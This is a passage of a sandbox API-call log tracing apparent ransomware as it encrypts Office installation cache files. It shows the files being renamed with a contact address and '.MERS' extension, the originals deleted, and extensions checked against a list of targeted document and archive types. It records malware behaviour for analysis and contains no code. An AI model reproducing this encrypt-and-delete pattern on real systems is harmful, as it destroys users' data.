Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.865] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.865] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.865] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0047.865] GetLastError () returned 0x0 [0047.865] ReadFile (in: hFile=0x1e8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0047.941] WriteFile (in: hFile=0x218, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0047.958] ReadFile (in: hFile=0x1e8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x65520, lpOverlapped=0x0) returned 1 [0048.063] WriteFile (in: hFile=0x218, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x65530, lpOverlapped=0x0) returned 1 [0048.071] ReadFile (in: hFile=0x1e8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.071] WriteFile (in: hFile=0x218, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.071] SetEndOfFile (hFile=0x218) returned 1 [0048.072] CloseHandle (hObject=0x218) returned 1 [0048.072] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.072] SetEndOfFile (hFile=0x1e8) returned 1 [0048.076] CloseHandle (hObject=0x1e8) returned 1 [0048.076] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0048.076] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0048.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.076] lstrlenW (lpString=".doc") returned 4 [0048.076] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0048.076] lstrlenW (lpString=".docx") returned 5 [0048.076] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0048.076] lstrlenW (lpString=".pdf") returned 4 [0048.076] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0048.077] lstrlenW (lpString=".xls") returned 4 [0048.077] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0048.077] lstrlenW (lpString=".xlsx") returned 5 [0048.077] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0048.077] lstrlenW (lpString=".ppt") returned 4 [0048.077] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0048.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.077] lstrlenW (lpString=".zip") returned 4 [0048.077] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0048.077] lstrlenW (lpString=".rar") returned 4 [0048.077] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0048.077] lstrlenW (lpString=".bz2") returned 4 [0048.077] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0048.077] lstrlenW (lpString=".7z") returned 3 [0048.077] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0048.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.077] lstrlenW (lpString=".dbf") returned 4 [0048.077] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0048.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.077] lstrlenW (lpString=".1cd") returned 4 [0048.077] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0048.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.077] lstrlenW (lpString=".jpg") returned 4 [0048.077] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0048.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.077] lstrlenW (lpString=".doc") returned 4 [0048.077] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0048.077] lstrlenW (lpString=".docx") returned 5 [0048.077] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0048.077] lstrlenW (lpString=".pdf") returned 4 [0048.077] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0048.077] lstrlenW (lpString=".xls") returned 4 [0048.077] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0048.077] lstrlenW (lpString=".xlsx") returned 5 [0048.077] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0048.077] lstrlenW (lpString=".ppt") returned 4 [0048.078] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0048.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.078] lstrlenW (lpString=".zip") returned 4 [0048.078] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0048.078] lstrlenW (lpString=".rar") returned 4 [0048.078] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0048.078] lstrlenW (lpString=".bz2") returned 4 [0048.078] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0048.078] lstrlenW (lpString=".7z") returned 3 [0048.078] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0048.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.078] lstrlenW (lpString=".dbf") returned 4 [0048.078] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0048.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.078] lstrlenW (lpString=".1cd") returned 4 [0048.078] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0048.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.078] lstrlenW (lpString=".jpg") returned 4 [0048.078] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0048.078] lstrcmpiW (lpString1=".cab", lpString2=".MERS") returned -1 [0048.078] lstrlenW (lpString="PrjPrrWW.cab") returned 12 [0048.078] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0048.078] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=162970271) returned 1 [0048.078] CloseHandle (hObject=0x1e8) returned 1 [0048.079] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab")) returned 0x2020 [0048.079] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.079] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0048.080] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0048.080] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc6c | out: lpNewFilePointer=0x0) returned 1 [0048.080] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.080] ReadFile (in: hFile=0x1e8, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.100] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.100] ReadFile (in: hFile=0x1e8, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.243] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0048.243] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.243] ReadFile (in: hFile=0x1e8, lpBuffer=0x37b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x37b0058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.287] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.288] WriteFile (in: hFile=0x1e8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2c8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0048.305] SetEndOfFile (hFile=0x1e8) returned 1 [0048.305] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3fc7e30 [0048.310] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.310] WriteFile (in: hFile=0x1e8, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.311] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.311] WriteFile (in: hFile=0x1e8, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.669] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.669] WriteFile (in: hFile=0x1e8, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.671] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fc7e30 | out: hHeap=0x5f0000) returned 1 [0048.674] CloseHandle (hObject=0x1e8) returned 1 [0048.674] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0048.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0048.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0048.674] lstrlenW (lpString=".doc") returned 4 [0048.674] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.674] lstrlenW (lpString=".docx") returned 5 [0048.675] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0048.675] lstrlenW (lpString=".pdf") returned 4 [0048.675] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.675] lstrlenW (lpString=".xls") returned 4 [0048.675] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.675] lstrlenW (lpString=".xlsx") returned 5 [0048.675] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0048.675] lstrlenW (lpString=".ppt") returned 4 [0048.675] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0048.675] lstrlenW (lpString=".zip") returned 4 [0048.675] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.675] lstrlenW (lpString=".rar") returned 4 [0048.675] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.675] lstrlenW (lpString=".bz2") returned 4 [0048.675] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.675] lstrlenW (lpString=".7z") returned 3 [0048.675] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0048.675] lstrlenW (lpString=".dbf") returned 4 [0048.675] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0048.675] lstrlenW (lpString=".1cd") returned 4 [0048.675] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0048.675] lstrlenW (lpString=".jpg") returned 4 [0048.675] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0048.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0048.675] lstrlenW (lpString=".doc") returned 4 [0048.675] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.675] lstrlenW (lpString=".docx") returned 5 [0048.675] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0048.675] lstrlenW (lpString=".pdf") returned 4 [0048.675] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.675] lstrlenW (lpString=".xls") returned 4 [0048.676] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.676] lstrlenW (lpString=".xlsx") returned 5 [0048.676] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0048.676] lstrlenW (lpString=".ppt") returned 4 [0048.676] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0048.676] lstrlenW (lpString=".zip") returned 4 [0048.676] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.676] lstrlenW (lpString=".rar") returned 4 [0048.676] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.676] lstrlenW (lpString=".bz2") returned 4 [0048.676] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.676] lstrlenW (lpString=".7z") returned 3 [0048.676] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0048.676] lstrlenW (lpString=".dbf") returned 4 [0048.676] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0048.676] lstrlenW (lpString=".1cd") returned 4 [0048.676] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0048.676] lstrlenW (lpString=".jpg") returned 4 [0048.676] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.676] lstrcmpiW (lpString1=".xrm-ms", lpString2=".MERS") returned 1 [0048.676] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0048.676] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0048.677] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=715834) returned 1 [0048.677] CloseHandle (hObject=0x1e8) returned 1 [0048.677] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0048.677] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.677] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0048.677] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.677] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.677] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0048.677] GetLastError () returned 0x0 [0048.677] ReadFile (in: hFile=0x1e8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0048.847] WriteFile (in: hFile=0x1c0, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0048.868] ReadFile (in: hFile=0x1e8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.868] WriteFile (in: hFile=0x1c0, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x104, lpOverlapped=0x0) returned 1 [0048.868] SetEndOfFile (hFile=0x1c0) returned 1 [0048.868] CloseHandle (hObject=0x1c0) returned 1 [0048.868] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.868] SetEndOfFile (hFile=0x1e8) returned 1 [0048.875] CloseHandle (hObject=0x1e8) returned 1 [0048.875] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0048.875] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0048.875] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.875] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.875] lstrlenW (lpString=".doc") returned 4 [0048.875] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0048.875] lstrlenW (lpString=".docx") returned 5 [0048.875] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0048.875] lstrlenW (lpString=".pdf") returned 4 [0048.875] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0048.875] lstrlenW (lpString=".xls") returned 4 [0048.876] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0048.876] lstrlenW (lpString=".xlsx") returned 5 [0048.876] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0048.876] lstrlenW (lpString=".ppt") returned 4 [0048.876] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0048.876] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.876] lstrlenW (lpString=".zip") returned 4 [0048.876] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0048.876] lstrlenW (lpString=".rar") returned 4 [0048.876] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0048.876] lstrlenW (lpString=".bz2") returned 4 [0048.876] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0048.876] lstrlenW (lpString=".7z") returned 3 [0048.876] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0048.876] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.876] lstrlenW (lpString=".dbf") returned 4 [0048.876] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0048.876] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.876] lstrlenW (lpString=".1cd") returned 4 [0048.876] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0048.876] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.876] lstrlenW (lpString=".jpg") returned 4 [0048.876] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0048.876] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.876] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.876] lstrlenW (lpString=".doc") returned 